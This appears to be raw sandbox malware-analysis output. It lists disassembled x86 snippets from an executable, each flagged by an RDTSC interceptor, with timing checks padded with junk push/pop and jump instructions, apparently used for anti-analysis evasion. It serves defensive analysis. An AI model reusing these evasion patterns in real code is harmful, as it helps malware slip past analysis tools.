Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DE2D66 second address: DE2D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E08308 second address: E0830C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0830C second address: E08324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 js 00007F7AB12EBC86h 0x0000000d pop ebx 0x0000000e jo 00007F7AB12EBC8Eh 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E08A5E second address: E08A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7AB0FF7760h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E329 second address: E0E32F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E32F second address: E0E333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E333 second address: E0E337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E337 second address: E0E33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D083 second address: E0D087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D087 second address: E0D094 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D77E second address: E0D7A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F7AB12EBC86h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D7A1 second address: E0D7A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D7A5 second address: E0D7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0D932 second address: E0D936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0DBD5 second address: E0DBDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0DBDA second address: E0DBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E01B second address: E0E02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB12EBC8Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E02B second address: E0E033 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E0E033 second address: E0E077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC93h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F7AB12EBCA1h 0x00000011 pushad 0x00000012 jo 00007F7AB12EBC86h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18D2F second address: E18D45 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7AB0FF7758h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F7AB0FF7756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18D45 second address: E18D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18D49 second address: E18D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7AB0FF7766h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18D65 second address: E18D6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18D6A second address: E18D70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E17D60 second address: E17D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E17D66 second address: E17D86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7767h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18021 second address: E18036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18036 second address: E18046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7AB0FF7756h 0x0000000a jno 00007F7AB0FF7756h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E181C2 second address: E181D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC8Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E1859A second address: E1859E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E1859E second address: E185A8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E185A8 second address: E185B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7AB0FF775Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E186FB second address: E186FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E186FF second address: E18705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E18705 second address: E18734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a ja 00007F7AB12EBC8Ah 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007F7AB12EBC8Eh 0x0000001a push esi 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E189F1 second address: E189F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E189F7 second address: E189FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E189FB second address: E18A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7AB0FF775Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E1BBE8 second address: E1BBEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E21BB8 second address: E21BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jc 00007F7AB0FF775Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E20587 second address: E2059B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7AB12EBC86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F7AB12EBC8Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E2085D second address: E20887 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7AB0FF7762h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007F7AB0FF775Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E20B8B second address: E20B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E2027F second address: E202B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7AB0FF7764h 0x0000000c jmp 00007F7AB0FF7769h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26B7F second address: E26B84 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26B84 second address: E26BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jno 00007F7AB0FF776Dh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26BAD second address: E26BB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26BB7 second address: E26BBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26BBB second address: E26BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26BC1 second address: E26BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26BCB second address: E26BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC92h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD08E second address: DDD094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD5C1 second address: DDD60F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007F7AB12EBC86h 0x0000000d jmp 00007F7AB12EBC8Bh 0x00000012 popad 0x00000013 popad 0x00000014 add dword ptr [esp], 2DABB54Ah 0x0000001b or edi, 49BD87D1h 0x00000021 call 00007F7AB12EBC89h 0x00000026 jmp 00007F7AB12EBC94h 0x0000002b push eax 0x0000002c push edx 0x0000002d je 00007F7AB12EBC8Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD60F second address: DDD661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnp 00007F7AB0FF7768h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jns 00007F7AB0FF7765h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F7AB0FF7762h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD661 second address: DDD667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD667 second address: DDD671 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F7AB0FF7756h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD78E second address: DDD798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD798 second address: DDD7C7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e mov ebx, edx 0x00000010 popad 0x00000011 nop 0x00000012 jmp 00007F7AB0FF7767h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD7C7 second address: DDD7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD972 second address: DDD978 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD978 second address: DDD99B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB12EBC99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDD99B second address: DDD99F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE0CD second address: DDE11C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jp 00007F7AB12EBCA2h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push ecx 0x00000014 push esi 0x00000015 pop esi 0x00000016 pop ecx 0x00000017 pushad 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 jmp 00007F7AB12EBC8Fh 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DDE11C second address: DDE140 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7AB0FF775Ch 0x00000008 jno 00007F7AB0FF7756h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7AB0FF775Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: DC3075 second address: DC307B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E25CEC second address: E25CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E25CF2 second address: E25CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E2612C second address: E2614B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jmp 00007F7AB0FF775Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F7AB0FF7756h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E262C8 second address: E262CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E262CE second address: E262EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7AB0FF7767h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E262EB second address: E262F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E2648B second address: E264C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F7AB0FF7762h 0x00000010 js 00007F7AB0FF7756h 0x00000016 jnl 00007F7AB0FF7756h 0x0000001c pushad 0x0000001d jng 00007F7AB0FF7756h 0x00000023 jmp 00007F7AB0FF7764h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E264C3 second address: E264CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E265ED second address: E26611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7763h 0x00000009 pop ebx 0x0000000a pop ecx 0x0000000b jl 00007F7AB0FF777Eh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E26778 second address: E2677C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E29172 second address: E29178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E29178 second address: E29184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31337 second address: E31340 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31340 second address: E3134F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 jne 00007F7AB12EBC86h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E30CEB second address: E30CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31003 second address: E31008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31008 second address: E31019 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7AB0FF7758h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31019 second address: E31029 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7AB12EBC86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31029 second address: E31060 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7AB0FF7760h 0x00000007 jmp 00007F7AB0FF7763h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7AB0FF775Ch 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E31060 second address: E31066 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E35672 second address: E356A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7AB0FF7763h 0x0000000c jmp 00007F7AB0FF7766h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3487D second address: E34887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7AB12EBC86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E34887 second address: E3489B instructions: 0x00000000 rdtsc 0x00000002 js 00007F7AB0FF7756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F7AB0FF7756h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E349FE second address: E34A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F7AB12EBC92h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3500E second address: E35039 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7AB0FF7758h 0x00000008 jg 00007F7AB0FF7758h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jo 00007F7AB0FF7788h 0x00000016 pushad 0x00000017 jmp 00007F7AB0FF775Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E35039 second address: E3504F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7AB12EBC8Ch 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3504F second address: E35055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E351B5 second address: E351C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F7AB12EBC88h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E36DD5 second address: E36DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF775Fh 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3CDD2 second address: E3CDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB12EBC92h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3CDE9 second address: E3CDEE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3B611 second address: E3B624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7AB12EBC8Ch 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E3B624 second address: E3B665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7AB0FF7767h 0x00000009 pop edi 0x0000000a push ecx 0x0000000b jmp 00007F7AB0FF7763h 0x00000010 pop ecx 0x00000011 popad 0x00000012 jnc 00007F7AB0FF7764h 0x00000018 push edx 0x00000019 jns 00007F7AB0FF7756h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
